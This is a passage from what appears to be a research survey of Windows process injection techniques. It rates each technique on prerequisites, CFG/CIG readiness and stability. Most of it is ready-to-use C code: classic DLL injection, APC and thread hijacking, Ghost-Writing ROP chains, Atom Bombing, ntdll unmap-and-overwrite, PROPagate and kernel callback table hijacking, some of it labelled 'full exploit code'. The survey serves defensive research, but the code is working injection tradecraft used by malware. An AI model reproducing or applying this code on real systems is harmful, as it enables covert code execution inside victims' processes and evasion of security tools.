Oftentimes, memory allocation and writing is done multiple times before the execution step. Evaluation Criteria We evaluate memory write primitives based on: • Prerequisites • Limitations • CFG/CIG-readiness • Controlled vs. uncontrolled write address • Stability We evaluated execution methods based on: • Prerequisites • Limitations • CFG/CIG-readiness • Control over registers • Cleanup required A note about memory allocation In general, memory writing primitives require the target memory to be allocated. This can happen in two ways: 1. The injector process can invoke VirtualAllocEx (or NtAllocateVirtualMemory) to allocate new memory in the target process. In such a case, the injector can request this memory to be readable and/or writable and/or executable. Note that “the default behavior for executable pages allocated is to be marked valid call targets for CFG” (https://docs.microsoft.com/en- us/windows/desktop/Memory/memory-protection-constants). 2. The injector process can designate an existing (allocated) memory within the target process, for overwriting. There are several options: a. Stack – either the stack in use, or area beyond the TOS. The stack is RW. Writing to the stack requires addressing several considerations: (i) when writing beyond TOS, it should be kept in mind that this area may be overwritten by subsequent calls to inner functions or system functions; (ii) when writing before TOS, it should be kept in mind that this overwrites existing stack used b. Image – the data sections of some DLLs contain “spare” allocation beyond the actual need of the static variables mapped to there. This “cave” is RW, and initialized with zeros. c. Heap – any data object allocated on the heap, whose address is known to the injector process, can be theoretically used (though the memory area may be modified/recycled as the object is manipulated or destroyed). Again – RW. VirtualProtectEx can be used to assign different privileges (e.g. execution) to a memory region. Note that “the default behavior for VirtualProtect [and VirtualProtectEx] protection change to executable is to mark all locations as valid call targets for CFG” (https://docs.microsoft.com/en-us/windows/desktop/Memory/memory-protection-constants). A notable exception is ntdll!NtMapViewOfSection which can be invoked in such way that it allocates memory for the section in the target process. A survey and Analysis of injection techniques Notation: • Standard Microsoft Visual Studio coloring scheme • Bold+italics – user parameters. Specifically: o payload – an array of bytes in the injecting process, with the data to copy to the target process o sizeof(payload) – the size (in bytes) of the payload array o target_payload – the address, in the injected process, into which the payload is injected o target_execution – the address, in the injected process, into which control should be transferred (can be target_payload if it is executable, or a ROP gadget e.g. stack pivot, pointing RSP to target_payload) o process_id / thread_id – the target process ID / thread ID to inject to • Bold (ntdll!NtXXX or ntdll!ZwXXX) – dynamically linked functions (NtXXX/ZwXXX), a shorthand for fptr=GetProcAddress(GetModuleHandleA(“ntdll”)),function_name); (*fptr)(arguments); • Yellow background – cleanup code The techniques (in chronological order, where known): 1. Classic WriteProcessMemory write primitive (prehistoric) a. Make sure the target address is allocated (e.g. with VirtualAllocEx) b. Write data or raw code to memory using WriteProcessMemory Code: HANDLE h = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, process_id); LPVOID target_payload=VirtualAllocEx(h,NULL,sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Or any other memory allocation technique WriteProcessMemory(h, target_payload, payload, sizeof(payload), NULL); Evaluation: o Prerequisites: none o Limitations: none o CFG/CIG-readiness: not affected o Controlled vs. uncontrolled write address: address is fully controlled o Stability: stable 2. Classic DLL injection execution method (prehistoric) a. Write a malicious 64-bit DLL to disk, DllMain should contain a bootstrap payload (not shown). b. Write memory (DLL path string) using any write primitive, e.g. VirtualAllocEx(…,PAGE_READWRITE)+WriteProcessMemory (not shown) c. Load (and execute) the DLL using CreateRemoteThread(…,LoadLibraryA,DLL_path_string) (internal functions NtCreateThreadEx and RtlCreateUserThread can also be used) Variant 1: use QueueUserAPC instead of CreateRemoteThread (thread must be in alertable state) Variant 2: Instead of writing the DLL path to the target process memory, find a NUL-terminated string that looks like a valid path in one of the system DLLs, write the DLL to a file in that name, and point the LoadLibrary argument to the string. For example, ntdll.dll contains the NUL- terminated string “\ntdll\ldrsnap.c”, thus placing the DLL in file C:\ntdll\ldrsnap.c (assuming standard installation of Windows to drive C:) should do the trick. Code: HANDLE h = OpenProcess(PROCESS_CREATE_THREAD, FALSE, process_id); CreateRemoteThread(h, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, target_DLL_path, 0, NULL); Evaluation: o Prerequisites: malicious DLL written to disk, memory write primitive, thread in alertable state (only when using APC) o Limitations: DllMain code runs in with loader-lock locked, hence some restrictions apply (https://docs.microsoft.com/en-us/windows/desktop/dlls/dynamic-link-library-best- practices) o CFG/CIG-readiness: CIG prevents loading on non-Microsoft signed DLL. An attempt to do so results in error 0xC0000428 (STATUS_INVALID_IMAGE_HASH – “The hash for image %hs cannot be found in the system catalogs. The image is likely corrupt or the victim of tampering.” - https://msdn.microsoft.com/en-us/library/cc704588.aspx) o Control over registers: none (but typically not a problem due to linking) o Cleanup required: none 3. CreateRemoteThread execution method (prehistoric) a. Write raw code to memory using any write primitive. b. Execute the code using CreateRemoteThread (requires CFG-valid target) Code: HANDLE h = OpenProcess(PROCESS_CREATE_THREAD, FALSE, process_id); CreateRemoteThread(h, NULL, 0, (LPTHREAD_START_ROUTINE) target_execution, RCX, 0, NULL); Evaluation: o Prerequisites: target address must be RX at minimum. o Limitations: none o CFG/CIG-readiness: target entry point must be CFG-valid. o Control over registers: RCX o Cleanup required: none 4. APC execution method (prehistoric) Thread must be in alertable state (https://docs.microsoft.com/en- us/windows/desktop/fileio/alertable-i-o), i.e. in one of 5 functions: SleepEx, WaitForSingleObjectEx, WaitForMultipleObjectsEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx (probably RealMsgWaitForMultipleObjectsEx). a. Write raw code to memory using any write primitive. b. Execute the code using QueueUserAPC/NtQueueApcThread (requires CFG-allowed target) Code: HANDLE h = OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id); QueueUserAPC((LPTHREAD_START_ROUTINE)target_execution, h, RCX); or ntdll!NtQueueApcThread(h, (LPTHREAD_START_ROUTINE)target_execution, RCX, RDX, R8); Evaluation: o Prerequisites: Target address must be RX (at least). Thread must be in alertable state o Limitations: none o CFG/CIG-readiness: target entry point must be CFG-valid. o Control over registers: RCX (also RDX and R8 if using NtQueueApcThread) o Cleanup required: none. 5. Thread Execution Hijacking “Suspend-Inject-Resume” execution method (prehistoric?) a. Write code/data to memory using any write primitive e.g. VirtualAllocEx(…,PAGE_EXECUTE_READWRITE)+WriteProcessMemory (not shown). b. Execute the code using SetThreadContext (the thread needs to be suspended and resumed) – set RIP to point at the code written in step (a) or to a ROP gadget, and maybe RSP to point at a new stack. Variant: use NtQueueApcThread(thread,SetThreadContext,-2 /* GetCurrentThread pseudo handle */,context,NULL) instead of SetThreadContext (thread must be in alertable state) Code for executable memory: HANDLE t = OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id); SuspendThread(t); CONTEXT ctx; ctx.ContextFlags = CONTEXT_CONTROL; ctx.Rip = (DWORD64)target_execution; SetThreadContext(t, &ctx); ResumeThread(t); Evaluation: o Prerequisites: execution target must be RX (at least) o Limitations: none o CFG/CIG-readiness: RSP (if set) must be within stack limits (this is enforced by SetThreadContext) o Control over registers: see “SetThreadContext anomaly” o Cleanup required: yes; the original thread needs to resume execution and for that, its registers and stack must be restored. The SetThreadContext anomaly: for some processes, the volatile registers (RAX, RCX, RDX, R8- R11) are set by SetThreadContext, for other processes (e.g. Explorer, Edge) they are ignored. Best not rely on SetThreadContext to set those registers. Open research question: why does SetThreadContext behave differently for some processes? Since there’s no CFG check for SetThreadContext, we can also use ROP gadgets with a non- executable arbitrary memory (stack). We use a “beyond the TOS” memory cell to store the new stack address (so as not to modify the original stack). Code for non-executable memory (ROP-chain): HANDLE t = OpenThread(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT, FALSE, thread_id); SuspendThread(t); CONTEXT ctx; ctx.Rip = GADGET_pivot; // pop rsp; ret ctx.Rsp -= 8; WriteProcessMemory(p, (LPVOID)ctx.Rsp, &new_stack_address, 8, NULL); // Or any other memory write technique //make sure stack is 16-byte aligned before the return address; make sure there’s enough space *below* the entry point for stack used by system calls, etc. SetThreadContext(t, &ctx); ResumeThread(t); Code for non-executable memory (ROP-chain), with cleanup: void wait_until_done(HANDLE t, DWORD64 expected_rip_value) { CONTEXT x; do { Sleep(10); SuspendThread(t); x.ContextFlags = CONTEXT_CONTROL; GetThreadContext(t, &x); ResumeThread(t); } while (x.Rip != expected_rip_value); } DWORD64 GADGET_loop; // jmp -2 DWORD64 GADGET_pivot; // pop rsp; ret HANDLE t = OpenThread(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT, FALSE, thread_id); // Save the thread's state SuspendThread(t); CONTEXT old_ctx; old_ctx.ContextFlags = CONTEXT_ALL; GetThreadContext(t, &old_ctx); // Hijack thread CONTEXT new_ctx = old_ctx; new_ctx.Rip = GADGET_pivot; new_ctx.Rsp -= 8; WriteProcessMemory(p, (LPVOID)new_ctx.Rsp, &new_stack_address, 8, NULL); SetThreadContext(t, &new_ctx); ResumeThread(t); wait_until_done(t, GADGET_loop); // Resume execution of original thread logic SuspendThread(t); SetThreadContext(t, &old_ctx); ResumeThread(t); 6. Windows Hook write primitive + execution method (prehistoric) a. Write a malicious DLL to disk, DllMain (or hook routine) should contain a bootstrap code (payload) b. Call SetWindowsHookEx(…,handle to DLL, thread_id) – this will load the DLL into the process (thread_id must be a message loop). A less elegant version: set thread_id=0, will inject to all processes with message loop. Code: HMODULE h = LoadLibraryA(dll_path); HOOKPROC f = (HOOKPROC)GetProcAddress(h, "GetMsgProc"); // GetMessage hook SetWindowsHookExA(WH_GETMESSAGE, f, h, thread_id); PostThreadMessage(thread_id, WM_NULL, NULL, NULL); // trigger the hook Evaluation: o Prerequisites: malicious DLL written to disk, target process must have user32.dll loaded (and a message loop thread) o Limitations: none o CFG/CIG-readiness: CIG prevents loading on non-Microsoft signed DLL. An attempt to do so results in error 0xC0000428 (STATUS_INVALID_IMAGE_HASH – “The hash for image %hs cannot be found in the system catalogs. The image is likely corrupt or the victim of tampering.” - https://msdn.microsoft.com/en-us/library/cc704588.aspx) o Control over registers: none (but typically not a problem due to linking) o Controlled vs. uncontrolled write address: N/A o Stability: good o Cleanup required: no 7. SetWinEventHook write primitive + execution method (prehistoric) The idea is to set up a global (or per-process) in-context hook using SetWinEventHook. Theoretically, this forces the target process to load the specified DLL and invoke the specified hook function for the specified range of Windows events. However, in our tests (with Windows 10 version 1903), we could not force the DLL to load at the target process, and all events were handled in out-of-context fashion. The documentation (https://docs.microsoft.com/en- us/windows/desktop/api/Winuser/nf-winuser-setwineventhook) does mention that “in some situations, even if you request WINEVENT_INCONTEXT events, the events will still be delivered out-of-context“, so perhaps Microsoft moved all events to our-of-context mode in recent Windows versions. Bottom line: doesn’t work with recent Windows 10 versions. 8. Ghost-Writing write primitive + execution method (2007) Invented by “txipi” (http://blog.txipinet.com/2007/04/05/69-a-paradox-writing-to-another- process-without-openning-it-nor-actually-writing-to-it/) a. Use a series of SetThreadContext calls to manipulate memory (using a simple gadget that writes one register to the address in another register), and then use that as a ROP chain. b. Final step of ROP chain should be restoring the volatile registers. Code: void wait_until_done(HANDLE t, DWORD64 expected_rip_value) { CONTEXT x; do { Sleep(10); SuspendThread(t); x.ContextFlags = CONTEXT_CONTROL; GetThreadContext(t, &x); ResumeThread(t); } while (x.Rip != expected_rip_value); } DWORD64 GADGET_loop; // jmp -2 DWORD64 GADGET_write; // mov [rdi],rbx; mov rbx, [rsp+0x60]; add rsp,0x50; pop rdi; ret --- this is WRITE rbx at address rdi (and advance Rsp by 0x58…); note that in Windows 10 version 1903, the gadget is changed to mov [rdi],rbx; mov rbx, [rsp+0x70]; add rsp,0x60; pop rdi; ret HANDLE t = OpenThread(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT, FALSE, thread_id); // Save target thread original state SuspendThread(t); CONTEXT old_ctx; old_ctx.ContextFlags = CONTEXT_ALL; GetThreadContext(t, &old_ctx); // Prepare new stack in ROP_chain DWORD64 new_stack_pos = ((old_ctx.Rsp - (sizeof(ROP_chain)+0x60) +8) & 0xFFFFFFFFFFFFFFF0) - 8 ; // make sure stack is 16-byte aligned before the return address. Use 0x70 in version 1903. // Write address of GADGET_loop to the target thread stack (used as part of the Write Primitive) CONTEXT new_ctx = old_ctx; new_ctx.Rsp -= 8+0x58; // use 0x68 in version 1903 new_ctx.Rbx = GADGET_loop; new_ctx.Rdi = new_ctx.Rsp+0x58; // use 0x68 in version 1903 new_ctx.Rip = GADGET_write; SetThreadContext(t, &new_ctx); ResumeThread(t); wait_until_done(t, GADGET_loop); // Write new stack to target process memory space for (int i = 0; i < sizeof(ROP_chain)/sizeof(DWORD64); i++) { SuspendThread(t); CONTEXT old_ctx; old_ctx.ContextFlags = CONTEXT_ALL; GetThreadContext(t, &old_ctx); CONTEXT new_ctx = old_ctx; new_ctx.Rsp -= 8+0x58; // use 0x68 in version 1903 new_ctx.Rbx = ROP_chain[i]; new_ctx.Rdi = new_stack_pos + sizeof(DWORD64)*i; new_ctx.Rip = GADGET_write; SetThreadContext(t, &new_ctx); ResumeThread(t); wait_until_done(t, GADGET_loop); } // Execute code in target thread, moving RSP to new_stack_pos new_ctx = old_ctx; new_ctx.Rsp = new_stack_pos; new_ctx.Rip = (DWORD64)execution_target; SetThreadContext(t, &new_ctx); ResumeThread(t); wait_until_done(t, GADGET_loop); // Resume original flow in target thread SuspendThread(t); SetThreadContext(t, &old_ctx); ResumeThread(t); Evaluation: o Prerequisites: Target address must be RX (at least) o Limitations: none o CFG/CIG-readiness: N/A o Control over registers: non-volatile registers (e.g. RBX). See the SetThreadContext anomaly above. o Controlled vs. uncontrolled write address: write address is fully controlled o Stability: unclear – the cleanup process seems to be tricky o Cleanup required: yes, this can be tricky if the suspended flow uses volatile registers, and SetThreadContext does not set them for the target process 9. SetWindowLong/SetWindowLongPtr execution method (2009?) According to Odzhan (https://modexp.wordpress.com/2018/08/26/process-injection-ctray/), this technique surfaced in 2009, probably invented by “Indy(Clerk)”. Encountered in the wild (Gapz, 2012: https://www.welivesecurity.com/wp- content/uploads/2013/05/CARO_2013.pdf) This version is Explorer-specific, but possibly there are other processes that can be targeted in a similar fashion. a. Write payload to the target memory using any write primitive, e.g. VirtualAllocEx+WriteProcessMemory. This code/gadget should be CFG-valid. Not shown in the PoC code. b. Write a CTray object to the target memory using any write primitive e.g. WriteProcessMemory. The object should contain ptr1 pointing to ptr2 pointing to the payload. c. Obtain a handle to a window of class Shell_TrayWnd (of Explorer.exe), d. SetWindowLongPtr(handle,0,ptr to object). e. Run SendNotifyMessageA(handle, WM_PAINT, 0, 0) to trigger the window extension. Code (tailored for Explorer.exe): HWND hWindow = FindWindowA("Shell_TrayWnd", NULL); DWORD process_id; GetWindowThreadProcessId(hWindow, &process_id); // Using VirtualAllocEx+WriteProcessMemory to write payload and obj, but other memory writing techniques are welcome HANDLE h = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, false, process_id); DWORD64 obj[2]; LPVOID target_obj = VirtualAllocEx(h, NULL, sizeof(obj), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); obj[0] = (DWORD64)target_obj + sizeof(DWORD64); //&(obj[1]) obj[1] = (DWORD64)target_execution; WriteProcessMemory(h, target_obj, obj, sizeof(obj), NULL); SetWindowLongPtrA(hWindow, 0, (DWORD64)target_obj); Evaluation: o Prerequisites: A window belonging to the target process, that uses the extra window bytes to store a pointer to an object with a virtual function table. Specifically, explorer’s Shell Tray Window uses the first 8 extra window bytes to store a pointer to a CTray object. Target address must be RX (at least) o Limitations: none o CFG/CIG-readiness: the execution target must be CFG-valid. o Control over registers: none o Cleanup required: yes. The original CTray object must be restored, and special consideration must be given for the return state from the function Cleanup: save the original CTray object address via GetWindowLongPtr(), restore it into RBX in the payload, set EAX to 2 and return. Also, restore the original pointer (to the original CTray object). Full code (with cleanup and payload write), tailored for Explorer.exe: HWND hWindow = FindWindowA("Shell_TrayWnd", NULL); DWORD process_id; GetWindowThreadProcessId(hWindow, &process_id); DWORD64 old_obj = GetWindowLongPtrA(hWindow, 0); HANDLE h = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, false, process_id); // Using VirtualAllocEx+WriteProcessMemory to write payload and obj, but other memory writing techniques are welcome LPVOID target_payload = VirtualAllocEx(h, NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(h, target_payload, payload, sizeof(payload), NULL); // Make sure payload sets eax=2 and rbx=old_obj before returning control. Also take care of stack alignment if calling other functions DWORD64 new_obj[2]; LPVOID target_obj = VirtualAllocEx(h, NULL, sizeof(new_obj), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); new_obj[0] = (DWORD64)target_obj + sizeof(DWORD64); //&(new_obj[1]) new_obj[1] = (DWORD64)target_payload; WriteProcessMemory(h, target_obj, obj, sizeof(new_obj), NULL); SetWindowLongPtrA(hWindow, 0, (DWORD64)target_obj); SendNotifyMessageA(hWindow, WM_PAINT, 0, 0); Sleep(1); SetWindowLongPtrA(hWindow, 0, old_obj); 10. Shared Memory (PowerLoader) write primitive (2013) Encountered in the wild (PowerLoader). a. Find a shared memory section in the target process and its size – ideally a fixed name, so there won’t be any need to find it in real time. For example, explorer.exe has a shared section called UrlZonesSM_User (size 4KB). b. Write the payload (ROP chain, etc.) to the shared section, ideally at its end (less likely to interfere with the usual shared memory functionality). c. Find the address of the data in the target process by reading its memory using any read primitive (VirtualQueryEx+ReadProcessMemory). Only need to look at RW sections of type MEM_MAPPED, whose size is identical to the size provided in (a). Code: HANDLE hm = OpenFileMapping(FILE_MAP_ALL_ACCESS,FALSE,section_name); BYTE* buf = (BYTE*)MapViewOfFile(hm, FILE_MAP_ALL_ACCESS, 0, 0, section_size); memcpy(buf+section_size-sizeof(payload), payload, sizeof(payload)); HANDLE h = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, process_id); char* read_buf = new char[sizeof(payload)]; SIZE_T region_size; for (DWORD64 address = 0; address < 0x00007fffffff0000ull; address += region_size) { MEMORY_BASIC_INFORMATION mem; SIZE_T buffer_size = VirtualQueryEx(h, (LPCVOID)address, &mem, sizeof(mem)); if ((mem.Type == MEM_MAPPED) && (mem.State == MEM_COMMIT) && (mem.Protect == PAGE_READWRITE) && (mem.RegionSize == section_size)) { ReadProcessMemory(h, (LPCVOID)(address+section_size- sizeof(payload)), read_buf, sizeof(payload), NULL); if (memcmp(read_buf, payload, sizeof(payload)) == 0) { // the payload is at address + section_size - sizeof(payload); … break; } } region_size = mem.RegionSize; } Evaluation: o Prerequisites: process must use RW shared memory section o Limitations: none o CFG/CIG-readiness: not affected o Controlled vs. uncontrolled write address: data will be written to a non-controlled address (e.g. can’t write to stack) o Stability: may be problematic if the entire section is used (SuspendProcess may be required) 11. Window extension (Desktop Heap) write primitive (2015) Encountered in the wild (PowerLoaderEx - https://www.slideshare.net/enSilo/injection-on- steroids-codeless-code-injection-and-0day-techniques) The concept is based on the Desktop Heap being shared (in user space) among all processes in the same Windows desktop. Therefore, “writing” arbitrary data to the Desktop heap in the injector process (by defining a window class with cbWndExtra>0 and using SetWindowsLongPtr to write there) results in the data appearing in the memory space of the target process (allegedly in fixed offset w.r.t. the Desktop Heap memory region base address). Finding the Desktop Heap in the target process is allegedly a matter of finding a memory region (using VirtualQueryEx) satisfying some conditions. EnSilo provides a PoC at https://github.com/BreakingMalware/PowerLoaderEx/blob/master/PowerLoaderEx.cpp. It seems that with Windows 10 64-bit (at least in build 1809), changes were made to the Desktop Heap implementation. Apparently, A process’s user space memory no longer contains the objects from other processes, thus rendering the technique ineffective. Bottom line: doesn’t work on Windows 10 (at least on build 1809) 12. Atom bombing write primitive (2016) Invented by Tal Liberman, Ensilo (https://blog.ensilo.com/atombombing-brand-new-code- injection-for-windows). a. Split the payload into NUL-terminated strings b. Create an Atom for each one (GlobalAddAtom). Note: Atom cannot represent a 0-length string c. Copy the strings to the target process memory using NtQueueApcThread(thread, GlobalGetAtomName, atom,target_address,size). Our code handles the problem of consecutive NUL bytes by creating the sequence backwards using an auxiliary atom of a single arbitrary non-NUL byte. Note that NUL bytes are created first, and only then the non-NUL bytes are added. If the payload starts with a NUL byte, it is still possible to write it by artificially prepending it with at least one non-NUL byte (not shown in the code) NOTE: the original atom bombing PoC did not directly address the issue of consecutive NUL bytes. Instead, it assumed that the target memory is 0-filled (which is indeed the case for the .data slack used by the original PoC). The code below ignores the issue of maximum atom length (RTL_MAXIMUM_ATOM_LENGTH – probably 255). Longer payloads need to be broken into chunks of up to 255 bytes. Code: HANDLE th = OpenThread(THREAD_SET_CONTEXT| THREAD_QUERY_INFORMATION, FALSE, thread_id); ATOM aux = GlobalAddAtomA("b"); // arbitrary one char string if (target_payload[0] == '\0') { printf("Invalid payload (starts with NUL)\n"); exit(0); } for (DWORD64 pos = sizeof(target_payload) - 1; pos > 0; pos--) { if ((payload[pos] == '\0') && (payload[pos - 1] == '\0')) { ntdll!NtQueueApcThread(th, GlobalGetAtomNameA, (PVOID)aux, (PVOID)(((DWORD64)target_payload) + pos-1), (PVOID)2); } } for (char* pos = payload; pos < (payload + sizeof(payload)); pos += strlen(pos)+1) { if (*pos == '\0') { continue; } ATOM a = GlobalAddAtomA(pos); DWORD64 offset = pos - payload; ntdll!NtQueueApcThread(th, GlobalGetAtomNameA, (PVOID)a, (PVOID)(((DWORD64)target_payload) + offset), (PVOID)(strlen(pos)+1)); } Evaluation: o Prerequisites: process must have a thread in alertable state o Limitations: none o CFG/CIG-readiness: not affected o Controlled vs. uncontrolled write address: address is fully controlled o Stability: good 13. Forcibly map a section (NtMapViewOfSection) write primitive (2017) Encountered in the wild (Zberp - https://securityintelligence.com/diving-into-zberps- unconventional-process-injection-technique/), though used (slightly differently) for process hollowing earlier. a. Create a file mapping using CreateFileMapping, mapped to the system pagefile. b. MapViewOfFile to map it to injector process memory c. Copy data to the section’s mapped memory d. NtMapViewOfSection to the target process (automatically allocates memory in the target process if base_address==NULL) Code: HANDLE fm = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(payload), NULL); LPVOID map_addr =MapViewOfFile(fm, FILE_MAP_ALL_ACCESS, 0, 0, 0); HANDLE p = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, process_id); memcpy(map_addr, payload, sizeof(payload)); LPVOID requested_target_payload=0; SIZE_T view_size=0; ntdll!NtMapViewOfSection(fm, p, &requested_target_payload, 0, sizeof(payload), NULL, &view_size, ViewUnmap, 0, PAGE_EXECUTE_READWRITE ); target_payload=requested_target_payload; Evaluation: o Prerequisites: none o Limitations: cannot write to allocated memory o CFG/CIG-readiness: not affected o Controlled vs. uncontrolled write address: address is fully controlled, but cannot be used to write to an allocated memory. So it’s better to let Windows choose the address. o Stability: good 14. Unmap+Overwrite execution method (2017) Encountered in the wild (Zberp - https://securityintelligence.com/diving-into-zberps- unconventional-process-injection-technique/), though used (slightly differently) for process hollowing earlier. a. NtUnmapViewOfSection for ntdll in the target process b. Use any write primitive to allocate and write your own ntdll in its original address in the target process (with at least read+execute permissions, and CFG-allowed). Execution code only (unstable): MODULEINFO ntdll_info; HANDLE ntdll= GetModuleHandleA("ntdll"); GetModuleInformation(GetCurrentProcess(), ntdll , &ntdll_info, sizeof(ntdll_info)); HANDLE p = OpenProcess(PROCESS_VM_OPERATION, FALSE, process_id); ntdll!NtUnmapViewOfSection(p, ntdll); // Use write primitive to allocate ntdll_info.SizeOfImage bytes at address ntdll in the target process, // and write the patched ntdll code there. Evaluation: • Prerequisites: target memory must be RX (at least) • Limitations: none • CFG/CIG-readiness: not affected. • Control over registers: no • Stability: code should take care to retain the state of the module’s static variables (it’s impossible to unmap partial module memory), and flush the instruction cache. This needs to be done while the target process is suspended. This requires a memory read primitive (e.g. ReadProcessMemory), and process suspend+resume. • Cleanup required: none A full exploit code (including stability logic and payload writing): MODULEINFO ntdll_info; HANDLE ntdll= GetModuleHandleA("ntdll"); GetModuleInformation(GetCurrentProcess(), ntdll , &ntdll_info, sizeof(ntdll_info)); HANDLE fm = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, ntdll_info.SizeOfImage, NULL); LPVOID map_addr =MapViewOfFile(fm, FILE_MAP_ALL_ACCESS, 0, 0, 0); HANDLE p = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_VM_OPERATION | PROCESS_SUSPEND_RESUME, FALSE, process_id); ntdll!NtSuspendProcess(p); ReadProcessMemory(p, ntdll, map_addr, ntdll_info.SizeOfImage, NULL); // Patch NtClose in map_addr // … ntdll!NtUnmapViewOfSection(p, ntdll); SIZE_T view_size=0; ntdll!NtMapViewOfSection(fm, p, &ntdll, 0, ntdll_info.SizeOfImage, NULL, &view_size, ViewUnmap, 0, PAGE_EXECUTE_READWRITE ); FlushInstructionCache(p, ntdll, ntdll_info.SizeOfImage); ntdll!NtResumeProcess(p); 15. PROPagate execution method (2017) Invented by Adam, Hexacorn (http://www.hexacorn.com/blog/2017/10/26/propagate-a-new- code-injection-trick/). Hat tip to Csaba Fitzl (“theevilbit”) who wrote the implementation upon which our code is based (https://github.com/theevilbit/injection/tree/master/PROPagate). a. Write the payload to the target process memory space using any write primitive available e.g. VirtualAllocEx and WriteProcessMemory (not shown). b. Find a subclassed window in the target process and obtain its UxSubclassInfo property (pointer to a structure) c. Read the structure from the target process memory (using any read primitive available, e.g. ReadProcessMemory) d. Clone the structure locally and set its virtual function to point at the payload address in the target memory e. Write the new structure to the target process memory (arbitrary location) using any write primitive available (e.g. VirtualAllocEx+WriteProcessMemory). f. Set the UxSubclassInfo property of the window to point at the new structure, g. Trigger execution by sending a message to the window. Code (tailored for Explorer.exe): HWND h = FindWindow("Shell_TrayWnd", NULL); DWORD process_id; GetWindowThreadProcessId(h, &process_id); HWND hst = GetDlgItem(h, 303); // System Tray HWND hc = GetDlgItem(hst, 1504); HANDLE p = OpenProcess(PROCESS_ALL_ACCESS, FALSE, process_id); char new_subclass[0x50]; HANDLE target_new_subclass = (HANDLE)VirtualAllocEx(p, NULL, sizeof(new_subclass), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); HANDLE old_subclass = GetProp(hc, "UxSubclassInfo"); //handle is the memory address of the current subclass structure ReadProcessMemory(p, (LPCVOID)old_subclass, (LPVOID)new_subclass, sizeof(new_subclass), NULL); DWORD64 target_execution_ptr_value=target_execution; memcpy(new_subclass + 0x18, &target_execution_ptr_value, sizeof(target_execution_ptr_value)); WriteProcessMemory(p, (LPVOID)(target_new_subclass), (LPVOID)new_subclass, sizeof(new_subclass), NULL); // Or any other write memory primitive SetProp(hc, "UxSubclassInfo", target_new_subclass); PostMessage(hc, WM_KEYDOWN, VK_NUMPAD1, 0); Sleep(1); // YMMV SetProp(hc, "UxSubclassInfo", old_subclass); Evaluation: o Prerequisites: A window belonging to the target process, that is subclassed. Specifically, one of Explorer’s System Tray sub-windows is subclassed. Target address must be RX (at least) o Limitations: none o CFG/CIG-readiness: the target execution address must be CFG-valid. o Control over registers: none o Cleanup required: yes. The original subclass structure needs to be restored. 16. KernelControlTable execution method (FinFisher/FinSpy 2018) Observed in the wild, in FinFisher/FinSpy (https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of- defeating-traps-tricks-and-complex-virtual-machines/). Works only with processes that own a window. Odzhan provides a nice PoC (https://github.com/odzhan/injection/tree/master/kct) on which our code is based. a. Write code/data using e.g. using VirtualAllocEx and WriteProcessMemory. b. Obtain PEB address of target process using NtQueryInformationProcess, read it to find the location of the kernel callback table and read it. c. Write a new kernel callback table with the address of __fnCOPYDATA modified to point at the target code. d. Trigger the target code by sending WM_COPYDATA message to a window owned by the target process. HANDLE p = OpenProcess(PROCESS_QUERY_INFORMATION| PROCESS_VM_OPERATION| PROCESS_VM_READ| PROCESS_VM_WRITE, FALSE, process_id); PROCESS_BASIC_INFORMATION pbi; ntdll!NtQueryInformationProcess(p,ProcessBasicInformation, &pbi, sizeof(pbi), NULL); PEB peb; ReadProcessMemory(p, pbi.PebBaseAddress, &peb, sizeof(peb), NULL); KERNELCALLBACKTABLE kct; ReadProcessMemory(p, peb.KernelCallbackTable, &kct, sizeof(kct), NULL); LPVOID target_payload = VirtualAllocEx(p, NULL, sizeof(payload),MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(p, target_payload, payload, sizeof(payload), NULL); LPVOID target_kct = VirtualAllocEx(p, NULL, sizeof(kct), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); kct.__fnCOPYDATA = (ULONG_PTR)target_payload; WriteProcessMemory(p, target_kct, &kct, sizeof(kct), NULL); WriteProcessMemory(p, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &target_kct, sizeof(ULONG_PTR), NULL); COPYDATASTRUCT cds; cds.dwData = 1; wchar_t msg[] = L"foo"; cds.cbData = lstrlenW(msg) * 2; cds.lpData = msg; SendMessage(hw, WM_COPYDATA, (WPARAM)hw, (LPARAM)&cds); // hw can be obtained via e.g. EnumWindows // Cleanup WriteProcessMemory(p, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &peb.KernelCallbackTable, sizeof(ULONG_PTR), NULL); Evaluation: o Prerequisites: The target process must own a window. The target address must be RX (at least) o Limitations: none o CFG/CIG-readiness: the target execution address must be CFG-valid. o Control over registers: none o Cleanup required: yes. The original kernel callback table must be restored. 17. Ctrl-Inject execution method (2018) Invented by Rotem Kerner, EnSilo (https://blog.ensilo.com/ctrl-inject). Works only on console applications. a. Write code/data using e.g. VirtualAllocEx and WriteProcessMemory (not shown) b. Use RtlEncodeRemotePointer(process_handle, ptr, &encoded_ptr) to get encoded pointer for the payload (or the ROP gadget) c. Write the encoded ptr to kernelbase!SingleHandler using e.g. WriteProcessMemory. d. Trigger execution by simulating Ctrl-C (SendInput for Ctrl, followed by PostMessage(handle to 